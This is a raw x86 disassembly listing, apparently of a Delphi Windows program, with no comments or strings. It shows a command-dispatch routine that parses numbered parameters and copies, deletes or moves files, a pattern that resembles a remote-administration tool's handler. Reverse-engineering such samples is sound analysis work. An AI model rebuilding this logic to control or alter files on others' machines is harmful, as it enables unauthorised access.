xor eax, eax
push ebp
push 0x5a37eb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x430]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a37f5
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5af414
call fcn.00405ec0
jne 0x5a3c40
xor eax, eax
push ebp
push 0x5a3c39
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, dword [0x5d613c]
mov edx, dword [0x5dccc4]
mov dword [eax], edx
lea eax, [ebp - 0x1c58]
push eax
lea ecx, [ebp - 0x1c5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c5c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c58]
lea edx, [ebp - 0x1c54]
call fcn.005939c8
mov eax, dword [ebp - 0x1c54]
lea edx, [ebp - 0x1c50]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c50]
mov eax, dword [0x5d5d30]
call fcn.00405aec
lea eax, [ebp - 0x1c68]
push eax
lea ecx, [ebp - 0x1c6c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c6c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c68]
lea edx, [ebp - 0x1c64]
call fcn.005939c8
mov eax, dword [ebp - 0x1c64]
lea edx, [ebp - 0x1c60]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c60]
mov eax, dword [0x5d5d00]
call fcn.00405aec
lea eax, [ebp - 0x1c74]
push eax
lea ecx, [ebp - 0x1c78]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c78]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c74]
lea edx, [ebp - 0x1c70]
call fcn.005939c8
mov edx, dword [ebp - 0x1c70]
mov eax, dword [0x5d5a14]
call fcn.00405aec
lea eax, [ebp - 0x1c7c]
push eax
lea ecx, [ebp - 0x1c80]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c80]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c7c]
call fcn.005936d4
mov edx, dword [0x5d5a9c]
mov byte [edx], al
lea eax, [ebp - 0x1c84]
push eax
lea ecx, [ebp - 0x1c88]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c88]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1c84]
call fcn.005936d4
mov edx, dword [0x5d5c8c]
mov byte [edx], al
mov eax, dword [0x5d5c5c]
mov byte [eax], 0
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5b34c4]
call fcn.0042a3cc
mov edx, dword [0x5d5ed8]
mov dword [edx], eax
mov eax, dword [0x5d5ed8]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b4578
inc eax
jne 0x5a3b19
mov eax, dword [0x5d5ed8]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d5c5c]
cmp byte [eax], 1
jne 0x5a3af9
mov eax, dword [0x5d5f04]
mov byte [eax], 0
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1c8c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c8c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3b0], 0
je 0x5a3c1c
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a3bb5
lea edx, [ebp - 0x1c90]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1c90]
push eax
lea eax, [ebp - 0x1c94]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1c94]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [0x5d5d50]
cmp byte [eax], 0
je 0x5a3bed
lea eax, [ebp - 0x1c98]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1c98]
mov edx, 0x5af434
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5a3c1c
lea eax, [ebp - 0x1c9c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1c9c]
mov edx, dword [0x5d5ca4]
mov edx, dword [edx]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af444
call fcn.00405ec0
jne 0x5a4322
xor eax, eax
push ebp
push 0x5a431b
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1ca8]
push eax
lea ecx, [ebp - 0x1cac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cac]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1ca8]
lea edx, [ebp - 0x1ca4]
call fcn.005939c8
mov eax, dword [ebp - 0x1ca4]
lea edx, [ebp - 0x1ca0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ca0]
call fcn.00593cd4
test al, al
je 0x5a424c
push 0
lea eax, [ebp - 0x1cc0]
push eax
lea ecx, [ebp - 0x1cc4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cc4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1cc0]
lea edx, [ebp - 0x1cbc]
call fcn.005939c8
mov eax, dword [ebp - 0x1cbc]
lea edx, [ebp - 0x1cb8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1cb8]
lea edx, [ebp - 0x1cb4]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1cb4]
lea edx, [ebp - 0x1cb0]
call fcn.00589dcc
lea eax, [ebp - 0x1cb0]
mov edx, 0x5af0c8
call fcn.00405d64
mov eax, dword [ebp - 0x1cb0]
call fcn.00405f28
push eax
lea edx, [ebp - 0x1cd0]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1cd0]
lea edx, [ebp - 0x1ccc]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1ccc]
lea edx, [ebp - 0x1cc8]
call fcn.00589dcc
lea eax, [ebp - 0x1cc8]
mov edx, 0x5af0c8
call fcn.00405d64
mov eax, dword [ebp - 0x1cc8]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x1cdc]
push eax
lea ecx, [ebp - 0x1ce0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ce0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1cdc]
lea edx, [ebp - 0x1cd8]
call fcn.005939c8
mov eax, dword [ebp - 0x1cd8]
lea edx, [ebp - 0x1cd4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1cd4]
mov eax, dword [0x5d5824]
call fcn.00405aec
lea eax, [ebp - 0x1cec]
push eax
lea ecx, [ebp - 0x1cf0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cf0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1cec]
lea edx, [ebp - 0x1ce8]
call fcn.005939c8
mov eax, dword [ebp - 0x1ce8]
lea edx, [ebp - 0x1ce4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1ce4]
mov eax, dword [0x5d5734]
call fcn.00405aec
mov eax, dword [0x5d58a8]
mov byte [eax], 0
lea eax, [ebp - 0x1cf4]
push eax
lea ecx, [ebp - 0x1cf8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cf8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1cf4]
call fcn.005936d4
mov edx, dword [0x5d6050]
mov byte [edx], al
mov eax, dword [0x5d5ba8]
mov byte [eax], 0
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b900]
call fcn.0042a3cc
mov dword [ebp - 0x544], eax
lea edx, [ebp - 0x1cfc]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0x1cfc]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1d00]
mov eax, 0x5ae168
call fcn.0058fff8
mov eax, dword [ebp - 0x1d00]
call fcn.005b458c
mov eax, dword [ebp - 0x544]
call fcn.0058edbc
mov eax, dword [0x5d5ba8]
cmp byte [eax], 0
je 0x5a3eed
mov eax, dword [0x5d5f04]
mov byte [eax], 0
lea eax, [ebp - 0x1d14]
push eax
lea ecx, [ebp - 0x1d18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d18]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d14]
lea edx, [ebp - 0x1d10]
call fcn.005939c8
mov eax, dword [ebp - 0x1d10]
lea edx, [ebp - 0x1d0c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1d0c]
lea edx, [ebp - 0x1d08]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1d08]
lea edx, [ebp - 0x1d04]
call fcn.00589dcc
lea eax, [ebp - 0x1d04]
mov edx, 0x5af0c8
call fcn.00405d64
mov eax, dword [ebp - 0x1d04]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x76c]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x76d], al
lea eax, [ebp - 0x1d24]
push eax
lea ecx, [ebp - 0x1d28]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d28]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d24]
lea edx, [ebp - 0x1d20]
call fcn.005939c8
mov eax, dword [ebp - 0x1d20]
lea edx, [ebp - 0x1d1c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x774]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x775], al
lea eax, [ebp - 0x1d34]
push eax
lea ecx, [ebp - 0x1d38]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d38]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d34]
lea edx, [ebp - 0x1d30]
call fcn.005939c8
mov eax, dword [ebp - 0x1d30]
lea edx, [ebp - 0x1d2c]
call fcn.0058ff30
lea eax, [ebp - 0x1d2c]
mov edx, 0x5af464
call fcn.00405d64
mov eax, dword [ebp - 0x1d2c]
mov dword [ebp - 0x77c], eax
lea eax, [ebp - 0x1d44]
push eax
lea ecx, [ebp - 0x1d48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d44]
lea edx, [ebp - 0x1d40]
call fcn.005939c8
mov eax, dword [ebp - 0x1d40]
lea edx, [ebp - 0x1d3c]
call fcn.0058ff30
mov eax, dword [ebp - 0x1d3c]
mov dword [ebp - 0x780], eax
mov eax, dword [ebp - 0x780]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x77c]
call fcn.00405f28
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x781], al
mov eax, dword [0x5d5d3c]
mov eax, dword [eax]
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d4c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3b0], 0
je 0x5a42fe
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a4207
lea edx, [ebp - 0x1d50]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1d50]
push eax
lea eax, [ebp - 0x1d54]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d54]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1d58]
mov eax, dword [ebp - 0x564]
call fcn.0040b1ec
mov eax, dword [ebp - 0x1d58]
push eax
lea eax, [ebp - 0x1d5c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d5c]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
jmp 0x5a42fe
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d60]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d60]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3b0], 0
je 0x5a42fe
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a42d2
lea edx, [ebp - 0x1d64]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1d64]
push eax
lea eax, [ebp - 0x1d68]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d68]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1d6c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d6c]
mov edx, 0x5af474
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af480
call fcn.00405ec0
jne 0x5a4693
xor eax, eax
push ebp
push 0x5a468c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1d78]
push eax
lea ecx, [ebp - 0x1d7c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d7c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d78]
lea edx, [ebp - 0x1d74]
call fcn.005939c8
mov eax, dword [ebp - 0x1d74]
lea edx, [ebp - 0x1d70]
call fcn.0058ff30
mov edx, dword [ebp - 0x1d70]
mov eax, dword [0x5d5824]
call fcn.00405aec
lea eax, [ebp - 0x1d80]
push eax
lea ecx, [ebp - 0x1d84]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d84]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d80]
call fcn.005936d4
mov edx, dword [0x5d58a8]
mov byte [edx], al
lea eax, [ebp - 0x1d90]
push eax
lea ecx, [ebp - 0x1d94]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d94]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d90]
lea edx, [ebp - 0x1d8c]
call fcn.005939c8
mov eax, dword [ebp - 0x1d8c]
lea edx, [ebp - 0x1d88]
call fcn.0058ff30
mov edx, dword [ebp - 0x1d88]
mov eax, dword [0x5d5734]
call fcn.00405aec
lea eax, [ebp - 0x1d98]
push eax
lea ecx, [ebp - 0x1d9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d9c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1d98]
call fcn.005936d4
mov edx, dword [0x5d6050]
mov byte [edx], al
mov eax, dword [0x5d5ba8]
mov byte [eax], 0
lea edx, [ebp - 0x430]
xor eax, eax
call fcn.004031c8
xor eax, eax
push ebp
push 0x5a44e7
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1da0]
mov eax, dword [0x5d5824]
mov eax, dword [eax]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1da0]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a44f1
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b900]
call fcn.0042a3cc
mov dword [ebp - 0x544], eax
lea edx, [ebp - 0x1da4]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0x1da4]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1da8]
mov eax, 0x5ae168
call fcn.0058fff8
mov eax, dword [ebp - 0x1da8]
call fcn.005b458c
mov eax, dword [ebp - 0x544]
call fcn.0058edbc
mov eax, dword [0x5d5ba8]
cmp byte [eax], 0
je 0x5a450d
mov eax, dword [0x5d5f04]
mov byte [eax], 0
xor eax, eax
push ebp
push 0x5a458e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x430]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a4598
mov eax, dword [0x5d5d3c]
mov eax, dword [eax]
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1dac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dac]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3b0], 0
je 0x5a466f
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a462f
lea edx, [ebp - 0x1db0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1db0]
push eax
lea eax, [ebp - 0x1db4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1db4]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1db8]
mov eax, dword [ebp - 0x564]
call fcn.0040b1ec
mov eax, dword [ebp - 0x1db8]
push eax
lea eax, [ebp - 0x1dbc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1dbc]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af494
call fcn.00405ec0
jne 0x5a47d1
xor eax, eax
push ebp
push 0x5a47ca
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1dc0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dc0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea eax, [ebp - 0x1dc4]
push eax
lea ecx, [ebp - 0x1dc8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dc8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1dc4]
call fcn.005936d4
mov byte [ebp - 0x595], al
lea edx, [ebp - 0x1dcc]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1dcc]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
cmp byte [ebp - 0x595], 0
je 0x5a476f
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a7a4
jmp 0x5a4780
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a638
lea eax, [ebp - 0x1dd0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1dd0]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af4ac
call fcn.00405ec0
jne 0x5a48ff
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1dd4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dd4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea eax, [ebp - 0x1dd8]
push eax
lea ecx, [ebp - 0x1ddc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ddc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1dd8]
call fcn.005936d4
mov byte [ebp - 0x595], al
lea edx, [ebp - 0x1de0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1de0]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
cmp byte [ebp - 0x595], 0
je 0x5a48ab
lea edx, [ebp - 0x1de4]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov edx, dword [ebp - 0x1de4]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp 0x5a48cd
lea edx, [ebp - 0x1de8]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x1de8]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
lea eax, [ebp - 0x1dec]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1dec]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af4c4
call fcn.00405ec0
jne 0x5a4bbf
lea eax, [ebp - 0x1df0]
push eax
lea ecx, [ebp - 0x1df4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1df4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1df0]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
cmp dword [ebp - 0x3b0], 0
jne 0x5a4993
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1df8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1df8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea eax, [ebp - 0x1dfc]
push eax
lea ecx, [ebp - 0x1e00]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e00]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1dfc]
call fcn.005936d4
mov byte [ebp - 0x598], al
lea eax, [ebp - 0x1e04]
push eax
lea ecx, [ebp - 0x1e08]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e08]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e04]
call fcn.005936d4
mov byte [ebp - 0x599], al
cmp byte [ebp - 0x598], 0
jne 0x5a4a38
cmp byte [ebp - 0x599], 0
jne 0x5a4a38
movzx eax, byte [0x5aeab0]
mov byte [ebp - 0x649], al
cmp byte [ebp - 0x598], 0
je 0x5a4a57
cmp byte [ebp - 0x599], 0
je 0x5a4a57
movzx eax, byte [0x5aebdc]
mov byte [ebp - 0x649], al
cmp byte [ebp - 0x598], 0
je 0x5a4a76
cmp byte [ebp - 0x599], 0
jne 0x5a4a76
movzx eax, byte [0x5af4d4]
mov byte [ebp - 0x649], al
cmp byte [ebp - 0x598], 0
jne 0x5a4a95
cmp byte [ebp - 0x599], 0
je 0x5a4a95
movzx eax, byte [0x5aeaac]
mov byte [ebp - 0x649], al
movzx eax, byte [ebp - 0x649]
push eax
lea eax, [ebp - 0x1e0c]
push eax
lea eax, [ebp - 0x1e18]
push eax
lea ecx, [ebp - 0x1e1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e1c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e18]
lea edx, [ebp - 0x1e14]
call fcn.005939c8
mov eax, dword [ebp - 0x1e14]
lea edx, [ebp - 0x1e10]
call fcn.0058feb0
mov eax, dword [ebp - 0x1e10]
push eax
lea eax, [ebp - 0x1e28]
push eax
lea ecx, [ebp - 0x1e2c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e2c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e28]
lea edx, [ebp - 0x1e24]
call fcn.005939c8
mov eax, dword [ebp - 0x1e24]
lea edx, [ebp - 0x1e20]
call fcn.0058feb0
mov eax, dword [ebp - 0x1e20]
push eax
lea edx, [ebp - 0x1e30]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1e30]
pop edx
pop ecx
call fcn.004ad574
mov eax, dword [ebp - 0x1e0c]
push eax
lea edx, [ebp - 0x1e34]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e34]
push eax
lea eax, [ebp - 0x1e38]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e38]
pop eax
pop edx
call fcn.0059002c
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af4e0
call fcn.00405ec0
jne 0x5a4e5a
xor eax, eax
push ebp
push 0x5a4e53
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1e3c]
push eax
lea ecx, [ebp - 0x1e40]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e40]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1e3c]
lea edx, [ebp - 0x3b0]
call fcn.005b0084
